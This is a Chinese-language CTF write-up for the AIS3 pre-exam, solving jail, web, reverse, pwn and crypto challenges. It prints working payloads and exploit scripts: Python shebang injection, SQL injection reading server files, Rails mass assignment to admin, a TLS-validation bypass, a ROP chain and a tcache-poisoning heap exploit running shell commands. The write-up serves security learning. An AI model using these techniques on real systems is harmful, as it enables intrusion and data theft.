Summary
這是第三年打 pre-exam,拿到 18 名,比去年進步 53 名,感謝 AI Agent 的幫助 :)

Welcome
- Tag:
Misc
- 會連到一個網站快速變動 QR code,截一張給手機掃描看看
- 對著 QR code 動畫掃一掃就會拿到圖片,裡面有 Flag
想在雪中來杯下午茶嗎?
- Tag:
Misc
- 左側的白色牌子可以看到上枝 3 號踏切和電話 0748-24-1431,右邊的狗狗牌子可以發現豐鄉町


Jail
- Tags:
Misc
- 主頁直接回顯原始碼,有黑名單字元、
#flag is at /flag
from flask import Flask,request,send_fileimport os,time,uuid,unicodedata
app = Flask(__name__)
shebang = '#!/usr/local/bin/python3'
@app.route('/')def index(): return send_file(__file__)
@app.post('/<uid>')def run(uid): uuid.UUID(uid) d = unicodedata.normalize("NFKC", request.data.decode()) assert not any(i in d for i in "()_[]{}.@#") open(f"data/{uid}","w").write(shebang + d) os.chmod(f"data/{uid}", 0o755) os.popen(f"./data/{uid} > ./output/{uid}") time.sleep(1) r = open(f"output/{uid}","r").read() return r
if __name__ == "__main__": app.run("0.0.0.0",port=8000)- 發現
shebangdoes not end with a newline,因此我們輸入的 1st byte 會接在他後面。所以想到的 payload 如下:
#!/usr/local/bin/python3 -Xcoding:unicode-escape- 我們想執行的 script 是
print(open('/flag').read()),encode 後是print\x28open\x28'/flag'\x29\x2eread\x28\x29\x29。所以整個 POST Request Body 是:
-Xcoding:unicode-escapeprint\x28open\x28'/flag'\x29\x2eread\x28\x29\x29- 使用一個有效的 UUID 當作路徑參數,並發送 body (raw):
uid=$(python3 -c 'import uuid; print(uuid.uuid4())')body=$' -Xcoding:unicode-escape\nprint\\x28open\\x28\047/flag\047\\x29\\x2eread\\x28\\x29\\x29'
curl -sS \ -H 'Content-Type: application/octet-stream' \ --data-binary "$body" \ "http://chals1.ais3.org:10001/$uid"- 得到 Flag:
#!/bin/true#AIS3{5H3_BA_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_A_NG!}Jail Revenge
- Tags:
Misc
- 主頁同樣回顯原始碼,與原題不同之處是會限制第一行輸入長度
#flag is at /flag
from flask import Flask,request,send_fileimport os,time,uuid,unicodedata
app = Flask(__name__)
shebang = '#!/usr/local/bin/python3'
@app.route('/')def index(): return send_file(__file__)
@app.post('/<uid>')def run(uid): uuid.UUID(uid) d = unicodedata.normalize("NFKC", request.data.decode()) assert not any(i in d for i in "()_[]{}.@#") and len(d.split("\n")[0]) < 50 open(f"data/{uid}","w").write(shebang + d) os.chmod(f"data/{uid}", 0o755) os.popen(f"./data/{uid} > ./output/{uid}") time.sleep(1) r = open(f"output/{uid}","r").read() return r
if __name__ == "__main__": app.run("0.0.0.0",port=8000)- 打點和 Jail 一樣,只是多限制第一行只能 24 char。我們想執行的 script 是
print(repr(open('/flag').read())),進行編碼後是print\x28repr\x28open\x28'/flag'\x29\x2eread\x28\x29\x29\x29。所以整個 POST Request Body 是:
-Xcoding:unicode-escapeprint\x28repr\x28open\x28'/flag'\x29\x2eread\x28\x29\x29\x29- 使用一個有效的 UUID 當作路徑參數,並發送 body (raw):
uid=$(python3 -c 'import uuid; print(uuid.uuid4())')body=$' -Xcoding:unicode-escape\nprint\\x28repr\\x28open\\x28\047/flag\047\\x29\\x2eread\\x28\\x29\\x29\\x29'
curl -sS \ -H 'Content-Type: application/octet-stream' \ --data-binary "$body" \ "http://chals1.ais3.org:10002/$uid"- 得到 Flag:
'#!/bin/true\n#AIS3{D3MN_21P_PYD0C_A5_-_-MA1N-_-_D07_PY}\n'Give Me Flag
- Tags:
Web(ASP.NET Core 8.0)
-
先請 AI 看一下架構:
/是 Drop 頁面,使用者輸入 collector IP 後,server 會送 HTTPS POST 到該 IP 的/api/flag。由於IndexModel使用IPAddress.TryParse驗證輸入,不能直接提交 domain name 來控制 TLS SNI 或 hostname。/Support是 component preview 頁面,使用者可提交Preview.Template與Preview.Accent。正常情況下它會把status/network轉成內建 type,例如GiveMeFlag.Support.Templates.StatusNetworkCalmCard。
-
在
FlagDeliveryService.cs可以發現,從 configuration/env 讀取 flag 與 delivery 參數:
_flag = configuration["FLAG"] ?? "AIS3{missing_flag}";_host = configuration["Challenge:Host"] ?? "flag-dropbox.givemeflag.internal";_postPath = configuration["Challenge:PostPath"] ?? "/api/flag";_port = int.TryParse(configuration["Challenge:Port"], out var result) ? result : 443;
// send JSON:// {"flag":"...","challenge":"GiveMeFlag","sent_at":"..."}- 這個請求是使用
HttpWebRequest,預設會驗證 TLS 憑證,所以直接架自簽 HTTPS server 會失敗,頁面只會顯示 The outbound HTTPS request failed.
HttpWebRequest httpWebRequest = WebRequest.CreateHttp(endpoint);httpWebRequest.Method = "POST";httpWebRequest.Host = _host;httpWebRequest.ContentType = "application/json";- 在
SupportModel.OnPostPreview可以發現,會把使用者輸入交給PreviewComponentResolver.Create,然後呼叫物件的ToString():
CardText = PreviewComponentResolver.Create(Preview.Template, Preview.Accent)?.ToString() ?? "The selected card did not render any content.";PreviewComponentResolver.ParseDescriptor支援{name}#{metadata}格式,其中#後方的 metadata 會做 URL decode:
int num = text.IndexOf('#', StringComparison.Ordinal);if (num >= 0){ metadata = Uri.UnescapeDataString(text.Substring(num + 1, ...)); text = text.Substring(0, num);}- 如果 metadata 非空,程式直接把 metadata 當 type name:
Type type = Type.GetType( !string.IsNullOrWhiteSpace(descriptor.Metadata) ? descriptor.Metadata : ResolveBuiltInTypeName(descriptor), LoadFromApplicationDirectory, null, throwOnError: true);-
接著只檢查:
- type 不是 abstract
- type 不是 interface
- type 有 public no-arg constructor
-
assembly resolver 會從 app base directory 載入 DLL。因為 Dockerfile 會把整個
publish/放到/app,所以publish/裡所有 DLL 都是可解析目標。
string text = Path.Combine(AppContext.BaseDirectory, assemblyName.Name + ".dll");return AssemblyLoadContext.Default.LoadFromAssemblyPath(text);- 在
Microsoft.Office.Server.Search.Connector.dll裡面有:
namespace Microsoft.Office.Server.Search.Connector.BDC.Exchange;
public class ExchangeSystemUtility : StructuredRepositorySystemUtility<ExchangeProxy>{ private static bool ValidateCertificates(...) => true;
static ExchangeSystemUtility() { ServicePointManager.ServerCertificateValidationCallback = (RemoteCertificateValidationCallback)Delegate.Combine( ServicePointManager.ServerCertificateValidationCallback, new RemoteCertificateValidationCallback(ValidateCertificates)); }}- 這個 class 符合
PreviewComponentResolver的檢查:- public class
- 繼承的 base class 提供 public no-arg constructor
- static constructor 在第一次建立 instance 前自動執行
- static constructor 修改的是 process-wide global state
- 觸發後,整個 ASP.NET process 後續 HTTPS request 都會接受任意憑證
- 開始戳機器,成功時 preview 會建立
ExchangeSystemUtilityinstance,並執行 static constructor。
curl -s -c /tmp/cookies.txt "$BASE_URL/Support" > /tmp/support.htmlTOKEN=$(grep -oP 'name="__RequestVerificationToken" type="hidden" value="\K[^"]+' /tmp/support.html)
curl -s -b /tmp/cookies.txt \ -X POST "$BASE_URL/Support?handler=Preview" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode "__RequestVerificationToken=$TOKEN" \ --data-urlencode "Preview.Template=x#Microsoft.Office.Server.Search.Connector.BDC.Exchange.ExchangeSystemUtility, Microsoft.Office.Server.Search.Connector" \ --data-urlencode "Preview.Accent=calm"- 送出 collector IP,server 會向這裡送 Flag:
# https://10.26.1.2/api/flag# Host: flag-dropbox.givemeflag.internalcurl -s -c /tmp/cookies2.txt "$BASE_URL/" > /tmp/drop.htmlTOKEN2=$(grep -oP 'name="__RequestVerificationToken" type="hidden" value="\K[^"]+' /tmp/drop.html)
curl -s -b /tmp/cookies2.txt \ -X POST "$BASE_URL/" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode "__RequestVerificationToken=$TOKEN2" \ --data-urlencode "Input.TargetIp=10.26.1.2"- 讀取收到的 POST body:
{"flag":"AIS3{c_5h4rp_c0n57ruc70r_p0llu710n_59ede4ed545f41fba92ed19821e7b0bc}","challenge":"GiveMeFlag","sent_at":"..."}Mass Rapid Transit
- Tags:
Web
- 先查看首頁,發現網站是一個「AIS 捷運公司」資訊平台,功能包含:路網圖、車站資訊、失物招領、登入/註冊,回應標頭與 HTML 中的 CSRF token 格式顯示這是一個 Ruby on Rails 網站:
<meta name="csrf-param" content="authenticity_token" /><meta name="csrf-token" content="..." />- 接著查看 robots.txt,這裡洩漏了後台路徑
/admin。直接存取/admin會被重新導向回首頁,表示後台存在但需要管理員權限。
User-agent: *Disallow: /admin- 網站提供公開註冊功能,註冊後會登入一般旅客帳號。登入後進入
/profile,頁面顯示目前角色是旅客:
<span class="badge">旅客</span>- 個人資料頁面有一個更新表單,送到
/profile:
<form data-turbo="false" action="/profile" method="post"> <input type="hidden" name="_method" value="patch" /> <input type="text" name="user[username]" /> <input type="email" name="user[email]" /> <input type="text" name="user[full_name]" /> <input type="tel" name="user[phone]" /> <input type="text" name="user[favorite_station]" /></form>因為這是 Rails 網站,而且表單使用
user[...]這種巢狀參數格式,所以懷疑可能有 strong parameters 設定錯誤,導致 mass assignment。
- 測試時,在更新個人資料的請求中額外加入
user[role]=admin,也就是原本表單只允許更新個人資料,但後端錯誤地允許使用者更新自己的role欄位。範例請求格式如下:
curl -b cookie.txt -c cookie.txt \ -X POST 'http://chals1.ais3.org:10003/profile' \ --data-urlencode '_method=patch' \ --data-urlencode 'authenticity_token=<CSRF_TOKEN>' \ --data-urlencode 'user[username]=<USERNAME>' \ --data-urlencode 'user[email]=<EMAIL>' \ --data-urlencode 'user[full_name]=<NAME>' \ --data-urlencode 'user[role]=admin'- 更新成功後重新查看
/profile,角色變成管理員,可以訪問管理後台,公告顯示:
【內部】系統金鑰與稽核紀錄
本次系統稽核金鑰如下,僅供授權管理員存取:
AIS3{R41ls_4P1_M4ss_4ss1gnm3nt_2_AIS_4dm1n}
請勿外洩,稽核週期為每季一次。MyGO!!!!! X Ave Mujica 圖庫
- Tags:
Web
- 首頁是一個圖片圖庫,提供圖片列表與圖片上傳功能。前端會用以下 API:
# read image/image?id=1
# upload imagePOST /upload- 先檢查是否有 robots.txt,看到
.svn表示網站部署時可能留下 Subversion working copy metadata。 - 直接存取
/.svn/wc.db會 404,但/image?id=有異常行為。測試 SQL injection,可以成功讀到app.py。
curl 'http://chals1.ais3.org:48763/image?id=1%20UNION%20SELECT%20%27app.py%27'
# app.py@app.get("/image")def image(): image_id = request.args.get("id") cur = db.execute(f"SELECT path FROM images WHERE id = {image_id};").fetchone() return send_file(cur[0])- 利用 SQL injection 讀取 SVN working copy database
curl -s -o /tmp/ais3_wc.db \ 'http://chals1.ais3.org:48763/image?id=-1%20UNION%20SELECT%20%27/proc/self/cwd/.svn/wc.db%27'- 查詢 SVN 追蹤的檔案,然後看到很星爆的東西:
sqlite3 /tmp/ais3_wc.db \ 'select local_relpath, checksum from NODES where kind="file";'
super_secret_starburst_flag114514.txt|$sha1$38b96d193f20bfafaed25e54ac4c9f3e35607424
curl -s \ 'http://chals1.ais3.org:48763/image?id=-1%20UNION%20SELECT%20%27/proc/self/cwd/super_secret_starburst_flag114514.txt%27'
# AIS3{BangDream_AveMujica_Exitus_at_Taiwan_8/8_and_I_don't_have_ticket}tetris,簡單
- Tags:
Reverse
- 先看題目的資訊,並且用字串大法:
ELF 64-bit LSB executable, x86-64, statically linked, stripped
Arch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x400000)SHSTK: EnabledIBT: Enabled
[1;36mTETRIS - Score: %d | Lines: %dPress any key to continue...Game Over! Final Score: %dLines Cleared: %dPress ENTER to start...- 可以看到疑似加密的東西:
.rodataat0x17371e0:Tetris pattern constants..dataat0x1aa6130:encrypted flag bytes.
2e a5 56 46 0d 7c 8e dc 83 6f 30 83 ff f8 a5 5cd0 76 d8 cd 99 dc 3f 39 9d 65 70 64- 會用 seed 和 FNV-like 的算法進行計算,然後衍生出 24-byte 的金鑰,最後用 RC4-like KSA/PRGA 來解密 28-byte blob:
seed = 0x811c9dc5;for each pattern_dword: seed ^= pattern_dword; seed *= 0x1000193;# ...key[i] = seed >> ((i % 4) * 8);seed = (seed * 0x41c64e6d + 0x3039) & 0x7fffffff;- 寫個腳本解出來:
vals = [ 5,0,5,0,1,0,4,4,4,0,5,5,5,0,1,0, 4,0,0,0,5,0,5,0,1,0,0,4,4,0,5,0, 5,0,1,0,4,4,0,3,]
seed = 0x811c9dc5for v in vals: seed ^= v seed = (seed * 0x1000193) & 0xffffffff
key = []for i in range(24): key.append((seed >> ((i & 3) * 8)) & 0xff) seed = (seed * 0x41c64e6d + 0x3039) & 0x7fffffff
ct = bytes.fromhex( "2ea556460d7c8edc836f3083fff8a55c" "d076d8cd99dc3f399d657064")
S = list(range(256))j = 0for i in range(256): j = (j + S[i] + key[i % len(key)]) & 0xff S[i], S[j] = S[j], S[i]
i = j = 0pt = bytearray()for c in ct: i = (i + 1) & 0xff j = (j + S[i]) & 0xff S[i], S[j] = S[j], S[i] k = S[(S[i] + S[j]) & 0xff] pt.append(c ^ k)
print(pt.decode())
# AIS3{T3tr1s_P4tt3rn_M4st3r!}ㄌㄨㄚˋ
-
Tags:
Reverse -
secret.luac:Lua 5.1 bytecode header -
luac_stripped.exe:Windows x86-64 PE,內含被修改過的 Lua 5.1 VM
luac_stripped.exe的main被改成只印提示,不能直接拿來編譯或執行題目:
This compiler has been disabled for the CTF challenge.Reverse engineer this binary to discover the OpCode mapping!- 發現
secret.luac的 header 是 ,但 proto 格式被加了一個額外 byte。標準 Lua 5.1 proto 在讀完nups後會接numparams/is_vararg/maxstacksize,這題中間多了一個 key:
1b 4c 75 61 51 00 01 04 08 04 08 00
sourcelinedefinedlastlinedefinednupskeynumparamsis_varargmaxstacksizecodeconstantsprotosdebug info- VM dispatch 不直接使用 instruction 低 6 bits,而是會依 proto key 和 pc 做 XOR 混淆。從
luaV_execute還原出的解碼方式如下。其中pc0是 zero-based instruction index,key是 proto 裡多出來的 byte。
op = (instr ^ (key ^ 0x2b) ^ (15 * pc0 + 0x11)) & 0x3f- 從
luaV_executejump table 和各 case 的行為,題目會用到的 opcode mapping 如下:
op01 ADDop02 MOVEop04 LOADKop05 LOADBOOLop08 SUBop09 GETUPVALop10 JMPop11 GETGLOBALop12 GETTABLEop15 MULop16 SETTABLEop17 DIVop18 MODop19 NEWTABLEop22 LENop23 LTop24 TESTop27 EQop28 CALLop29 TAILCALLop30 RETURNop31 FORLOOPop32 FORPREPop33 SETLISTop35 CLOSURE- main chunk 主要流程可還原成:
io.write("> ")local s = io.read()if check(s) then print("ok")else print("no")end- 子函式大致分成幾類:
- byte-wise XOR helper
- table transform helper
- table interleave helper
- key table generator
- target table generator
- validator
- 其中 validator 會先產生兩個 table:
key table:23, 88, 41, 199, 17, 90, 250, 61, 143, 12, 77
target table:158, 35, 172, 11, 160, 217, 123, 62, 248, 242, 88,51, 84, 125, 92, 152, 46, 62, 166, 147, 23, 73,80, 220, 153, 6, 67, 13, 195, 5, 91, 6, 32- 把 validator 的核心檢查整理如下,因為每一輪只跟當前 byte、state、key 有關,而且
xor()可逆,所以可以逐 byte 反推輸入。
state = 65
for i in range(1, len(target) + 1): k = key[(i * 5 + state) % len(key)] x = input[i - 1]
v = xor((x + i + state) % 256, (k + i * 7) % 256) v = (v + xor(k, i) % 13) % 256
if v != target[i - 1]: return False
state = (state + v + k + i * 3) % 256
return state == 229- 所以撰寫解密腳本:
def bxor(a, b): return int(a) ^ int(b)
key = [23, 88, 41, 199, 17, 90, 250, 61, 143, 12, 77]target = [ 158, 35, 172, 11, 160, 217, 123, 62, 248, 242, 88, 51, 84, 125, 92, 152, 46, 62, 166, 147, 23, 73, 80, 220, 153, 6, 67, 13, 195, 5, 91, 6, 32,]
state = 65out = []
for i, tgt in enumerate(target, 1): k = key[(i * 5 + state) % len(key)] for x in range(256): v = bxor((x + i + state) % 256, (k + i * 7) % 256) v = (v + bxor(k, i) % 13) % 256 if v == tgt: out.append(x) state = (state + v + k + i * 3) % 256 break
print(bytes(out).decode())print(state)
# AIS3{Lu4_0pc0d3_Shuffl1ng_1s_Fun}哇!金色傳說
- Tags:
Reverse
- 解壓縮 B.zip 後,可以看到這是一個 Unity Windows build,且包含 Mono managed assembly。因為有
Reverse1_Data/Managed/Assembly-CSharp.dll,代表這不是 IL2CPP,而是 Mono 版 Unity。主要遊戲邏輯會在Assembly-CSharp.dll中。
B/Reverse1.exeB/UnityPlayer.dllB/MonoBleedingEdge/...B/Reverse1_Data/Managed/Assembly-CSharp.dll- 先用字串搜尋大法爬 DLL,可以看到一些可疑字串。這表示遊戲內有一個抽卡 server,client 會把玩家狀態送到遠端:
GachaServerUsernameUIhttp://chals1.ais3.org:50001{{"spend":{0},"rate":{1:F4},"username":""gold":{0},"score":{1},"kills":{2}}}- 安裝
mono-utils,使用monodis反組譯後搜尋GachaServerUrl,在GameManagerconstructor 中找到 server URL:
rg -n "GachaServerUrl|chals1|RollCoroutine|LocalFallback" /tmp/ais3_b/Assembly-CSharp.il
# server urlIL_0001: ldstr "Anonymous"IL_0006: stfld string GameManager::'<PlayerName>k__BackingField'IL_000c: ldstr "http://chals1.ais3.org:50001"IL_0011: stfld string GameManager::'<GachaServerUrl>k__BackingField'GachaServer/<RollCoroutine>d__7::MoveNext會組出 POST body。重點 IL 如下:
IL_001f: ldc.r4 0.IL_0024: ldc.r4 0.30000001192092896IL_0029: call float32 class [UnityEngine.CoreModule]UnityEngine.Random::Range(float32, float32)IL_002e: stloc.2
...
IL_007f: ldstr "{{\"spend\":{0},\"rate\":{1:F4},"...IL_009d: ldstr "\"username\":\""...IL_00b6: ldstr "\"gold\":{0},\"score\":{1},\"kills\":{2}}}"-
還原成近似 C#,正常遊戲流程下,
rate應該只會落在 `0.0 <= rate <= 0…10168 tokens truncated…64(POP_RSI) + p64(0) # rsi = O_RDONLY (flags) rop += p64(POP_RDX) + p64(0) # rdx = 0 (mode) rop += p64(POP_RAX) + p64(2) # rax = SYS_open rop += p64(SYSCALL) # open() -> fd in rax rop += p64(MOV_EDI_EAX) # edi = eax (fd) rop += p64(POP_RSI) + p64(BSS_BUF) # rsi = BSS buffer rop += p64(POP_RDX) + p64(200) # rdx = count rop += p64(POP_RAX) + p64(0) # rax = SYS_read rop += p64(SYSCALL) # read(fd, BSS_BUF, 200) rop += p64(POP_RDI) + p64(socket_fd) # rdi = socket_fd rop += p64(POP_RSI) + p64(BSS_BUF) # rsi = BSS buffer rop += p64(POP_RDX) + p64(200) # rdx = count rop += p64(POP_RAX) + p64(1) # rax = SYS_write rop += p64(SYSCALL) # write(socket_fd, BSS_BUF, 200)Payload structure:
bytes 0-15: nulls (case-transformed but we don’t care)
bytes 16-25: /flag.txt\0 (NOT case-transformed)
bytes 26-55: padding (30 ’A’s)
bytes 56-63: canary
bytes 64-71: saved_rbp (keep original)
bytes 72+: ROP chain
payload = b’\x00’ * 16 # bytes 0-15 payload += b’/flag.txt\x00’ # bytes 16-25 payload += b’A’ * 30 # bytes 26-55 (padding to canary) payload += struct.pack(‘<Q’, canary) # bytes 56-63 payload += struct.pack(‘<Q’, outer_rbp) # bytes 64-71 payload += rop # bytes 72+
print(f“[+] Payload length: {len(payload)} bytes“) print(f“[+] flag_str_addr: {hex(flag_str_addr)}“) print(f”[+] ROP chain size: {len(rop)} bytes“) return payload
def exploit(canary, outer_rbp, socket_fd): payload = build_payload(canary, outer_rbp, socket_fd) type_str = url_encode_bytes(payload)
print(f"[+] URL-encoded type length: {len(type_str)} chars")
# Send the overflow requests = connect()s.settimeout(15)
req = f"GET /dns-query?name=www.curious.sleeping.&type={type_str} HTTP/1.1\r\nHost: {HOST}\r\nConnection: close\r\n\r\n"print(f"[+] Sending exploit request ({len(req)} bytes)...")s.sendall(req.encode())
# Read responsedata = b''try: while True: chunk = s.recv(4096) if not chunk: break data += chunk if b'AIS3' in data or b'flag' in data.lower(): breakexcept socket.timeout: print("[!] Socket timeout reading response")finally: s.close()
return datadef main(): print(“[] Phase 1: Leak stack values”) try: canary, outer_rbp, socket_fd = leak_stack() except Exception as e: print(f“[-] Leak failed: {e}“) print(”[] Solving PoW to get a fresh instance…“) solve_pow() canary, outer_rbp, socket_fd = leak_stack()
print("\n[*] Phase 2: Send overflow payload")resp = exploit(canary, outer_rbp, socket_fd)
print(f"\n[*] Response ({len(resp)} bytes):")print(resp[:500])
# Look for flagif b'AIS3{' in resp: import re flag = re.search(rb'AIS3\{[^}]+\}', resp) if flag: print(f"\n[+] FLAG: {flag.group().decode()}")elif b'flag' in resp.lower(): print("[+] Possible flag in response!")else: # Try to decode if raw binary was sent print("[*] Checking for binary flag data...") for i in range(len(resp)): if resp[i:i+4] == b'AIS3': print(f"[+] FLAG: {resp[i:i+50]}") breakif name == ‘main’: main()
[+] canary: 0xeda6350ff8797300
[+] outer_rbp: 0x7ffda98ec090
[+] ret_addr: 0x4095e4
[+] socket_fd: 4
[+] FLAG: AIS3{B4d_bAd_64d_D0H_p4r(rr)rs3r[rr]r_:(((_QQ}
## ooonvifd
- Tags:`Pwn`- `onvifd`:ONVIF-like IP camera HTTP/SOAP service (ELF)- `Dockerfile`:Ubuntu 20.04 環境,flag 位於 `/flag.txt`
1. 先檢查保護機制,`onvifd` 是 64-bit PIE ELF:
```textRELRO: Full RELROStack: Canary foundNX: NX enabledPIE: PIE enabledFORTIFY: EnabledSHSTK: EnabledIBT: EnabledStripped: No- 服務是一個簡化的 ONVIF HTTP/SOAP server,預設 listen 在
8080。可以看到幾個主要 handler:
handle_get_capabilities 0x1930handle_upload_firmware 0x1ce0dispatch_soap 0x1d90parse_http.constprop_0 0x22a0parse_mime 0x27a0可觸發的 SOAP operation @dispatch_soap:

其中
UploadFirmware會解析multipart/relatedMIME attachment,這是後面 heap overflow 的入口。
- 在函數
handle_get_capabilities中,它用__snprintf_chk把 SOAP response 寫進 stack 上0x500bytes buffer。response 內會把Host:header 重複放進多個 URL。而Host:最長可達 511 bytes。當 host 很長時,snprintf會截斷輸出,但回傳值是「如果 buffer 足夠,本來會寫入的長度」。程式接著把這個回傳值當作send()的長度:
// http://%s/onvif/device_service// http://%s/onvif/media_service// ...n = snprintf(stack_buf, 0x500, response_fmt, host, host, ...);send(fd, stack_buf, n, 0);
- 因此
send()會把0x500buffer 後面的 stack 內容一起送出,形成 stack overread。Leak request 核心,並且得知穩定 leak offsets:
body = b"<s:Envelope><s:Body><tds:GetCapabilities/></s:Body></s:Envelope>"req = http_req(body, host=b"A" * 511)
# response[0x508:0x510] stack canary# response[0x528:0x530] PIE return address, PIE base = leak - 0x1597# response[0x608:0x610] libc return address- 每個 MIME part 的 content buffer 一開始配置
malloc(0x200),正常 byte append 會檢查容量,不夠就realloc成兩倍。

-
問題出在 parser 遇到
\r\n--...時會進入 boundary detection。若 boundary match 到一半失敗,它會把剛剛讀到的 bytes 補回 content buffer。這段補回邏輯只檢查目前是否還有空間,沒有檢查「整段要補回的 bytes」是否都放得下。
-
利用方式是讓 content 長度剛好接近
0x200,例如0x1ff,然後送一段假的 boundary prefix,這樣 parser 補回 fake boundary bytes 時會越過目前0x210chunk,進而覆蓋下一個 heap chunk 的內容:
"A" * 0x1ff + "\r\n--" + partial_boundary- 目標環境是 Ubuntu 20.04/glibc 2.31,glibc 2.31 的 tcache 還沒有實作 safe-linking,而且
__free_hook還存在,因此可以用 tcache poisoning 讓malloc(0x200)回傳__free_hook - delta,再把system寫到__free_hook。
libc BuildID: 0323ab4806bee6f846d9ad4bccfc29afdca49a58system: 0x52290__free_hook: 0x1eee48-
整理利用流程如下:
- 用
GetCapabilities長 Host leak libc base - 先送一個合法 multipart request,建立三個
0x210content chunk,讓它們進入 tcache - 再送 exploit multipart request
- 第一個 part 用
0x1ffbytes content 觸發 fake boundary overflow - overflow 覆蓋下一個 freed
0x210chunk 的 tcachefd - 後續
malloc(0x200)被導到__free_hook - delta - writer part 在
__free_hook寫入system - cleanup 時程式會
free()attachment content,變成呼叫system(content) - 最後 command part 內容放
cat /flag.txt 1>&4
- 用
-
送出 exploit payload 到遠端(節錄):
#!/usr/bin/env python3import socketimport structimport sysimport hashlibimport reimport timefrom datetime import datetime, timezone
LIBC_START_MAIN_RET = 0x24083SYSTEM = 0x52290FREE_HOOK = 0x1EEE48
def leak(host, port): body = b"<s:Envelope><s:Body><tds:GetCapabilities/></s:Body></s:Envelope>" raw = http_req(body, host=b"A" * 511) data = request(host, port, raw) canary = u64(data[0x508:0x510]) pie_ret = u64(data[0x528:0x530]) libc_ret = u64(data[0x608:0x610]) pie_base = pie_ret - 0x1597 libc_base = libc_ret - LIBC_START_MAIN_RET log_info(f"canary={canary:#x} pie={pie_base:#x} libc={libc_base:#x} leak={libc_ret:#x}") return canary, pie_base, libc_base
def mime_body(boundary, parts): out = b"" for p in parts: out += b"--" + boundary + b"\r\n" out += b"Content-Type: application/octet-stream\r\n\r\n" out += p out += b"\r\n" out += b"--" + boundary + b"--\r\n" return out
def send_mime(host, port, boundary, parts): body = mime_body(boundary, parts) ctype = b'multipart/related; boundary=' + boundary return request(host, port, http_req(body, ctype=ctype))
def prime(host, port): boundary = b"PRIME" soap = b"<s:Envelope><s:Body><tds:UploadFirmware/></s:Body></s:Envelope>" send_mime(host, port, boundary, [soap, b"B" * 0x20, b"C" * 0x20])
def good_target(free_hook): bad = {0x00, 0x09, 0x0a, 0x0d, 0x20} for delta in range(8, 0x1f0, 16): target = free_hook - delta first5 = p64(target)[:5] if all(c not in bad for c in first5): return target, delta raise RuntimeError("no header-safe aligned target near __free_hook")
def exploit(host, port): _, _, libc_base = leak(host, port) system = libc_base + SYSTEM free_hook = libc_base + FREE_HOOK target, delta = good_target(free_hook) log_info(f"system={system:#x} __free_hook={free_hook:#x} target={target:#x} delta={delta:#x}")
prime(host, port)
t = p64(target) boundary = b"B" * 13 + t[:5] + b"X" false_boundary = b"\r\n--" + b"B" * 13 + t[:6]
first = b"A" * 0x1ff + false_boundary writer = b"W" * delta + p64(system) cmd = b"cat /flag.txt 1>&4 # UploadFirmware"
data = send_mime(host, port, boundary, [first, writer, writer, cmd]) print(data.decode(errors="replace"))
def main(): host = "127.0.0.1" port = 9002 if len(sys.argv) >= 2 and sys.argv[1] == "instancer": host, port = start_instance() log_info(f"instance {host}:{port}") elif len(sys.argv) >= 2 and sys.argv[1] != "local": host = sys.argv[1] if len(sys.argv) >= 3: port = int(sys.argv[2]) exploit(host, port)
if __name__ == "__main__": main()
# AIS3{LiTTL3_Re@l_wORlD_PWN_Bu7_I_tHINk_ai_WriT3$_EXplo1t_f@St3R}EasyZKP
- Tags:
Crypto proof/app.py:真正知道 flag 的 prover,提供 HTTP/proveverifier/chal.py:我們連到的互動服務,會替我們去問 prover
-
先玩玩看互動服務,有兩個選項。在
challenge要連續通過 16 輪,每一輪 verifier 會:- 產生 32 bytes 的
server_part - 要我們輸入
shown_nonce - 計算
suffix = shown_nonce || server_part - 隨機選一個
seed - 要我們回答
compute_proof(flag, suffix, seed)
- 產生 32 bytes 的
-
核心 proof 在
zkp.py,也就是對sha256(flag || suffix)的 256 個 bit 從高位到低位掃過去:
def compute_proof_from_digest(digest, seed): value = 0 for byte in digest: for offset in range(7, -1, -1): if (byte >> offset) & 1 == 0: raw_value = value + seed value = raw_value % N else: value = pow(value, seed, N) return value
# bit = 0: value = value + seed mod N# bit = 1: value = value^seed mod Nask prover模式會先讓我們輸入一段 nonce,然後 verifier 用它組 HTTP URL 去戳內部 prover。問題是user_part_b64沒有 URL encode。prover 端解析 query 時,如果輸入&s=123,verifier 組出來會類似:/prove?p=<server>&d=&s=123&s=<verifier_random_seed>。parse_qs()["s"][0]會拿第一個s,所以 prover 實際使用的是我注入的123,不是 verifier 原本隨機產生的 seed。
def fetch_proof(user_part_b64, server_part_b64, seed, bit_flip_indices=None): flip_query = "" if bit_flip_indices is not None: for index in bit_flip_indices: flip_query += f"&f={index}" url = f"{PROVER_URL}?p={server_part_b64}{flip_query}&d={user_part_b64}&s={seed}"
# ...query = parse_qs(parsed.query, keep_blank_values=True)seed = int(query["s"][0])ask prover模式還有一個選項2. flip one sha256 bit,它會把sha256(flag || suffix)的指定 bit 翻轉後,再讓 prover 計算 proof:
def compute_proof(flag, suffix, seed, bit_flip_indices=None): digest = hash_suffix(flag, suffix) if bit_flip_indices is not None: for index in bit_flip_indices: digest = flip_digest_bit(digest, index) return compute_proof_from_digest(digest, seed)-
所以我們拿到一個 oracle:
- suffix 固定為
user_part || server_part。 - digest 是固定的
sha256(flag || suffix)。 - 我們可以選 seed。
- 我們可以逐步翻 digest 的 bit。
- 每次可以取得翻轉後 digest 的 proof。
- suffix 固定為
-
公開的 modulus 可以分解成小質數 相乘:
N = 1371086445846712667727718527036585861739497962228620061686456237722902428356146756731186939p = 1062991560384192946446466724143851978243633013q = 1289837564986090927380812179078126226643568303- 令 ,由 Carmichael 定理,若注入
seed = lambda。proof 的狀態轉移變成以下這樣。只要value不是 0,它就是 的非零倍數,且與 互質,所以遇到1時會被重設成 value = 1。因此最後一個「可見的 1」之後如果有t個 trailing zero,最後 proof 會是:
bit = 0: value += lambdabit = 1: value = value^lambda...proof = 1 + t * lambda mod N所以看到 proof 後,可以查表反推出 t,也就是目前 digest 最右邊的「可見 1」在哪裡。
- 有一個邊界情況:如果 digest 一開始是連續的前綴
1,在遇到第一個0之前value都還是 0,所以那些前綴1不會被 這個性質看見。當所有可見的1都被我們翻成 0 後,digest 會長這樣111...1110 000...000,此時 proof 會是:
proof = zero_count * lambda mod N所以終止型 proof 可以反推 zero_count,再得到前綴那些原本看不到的 1:
leading_ones = 256 - zero_count-
整理流程如下:
- 進
ask prover - nonce 輸入
base64(user_part) + "&s=" + str(lambda),注入 seed - 查 proof
- 如果 proof 是
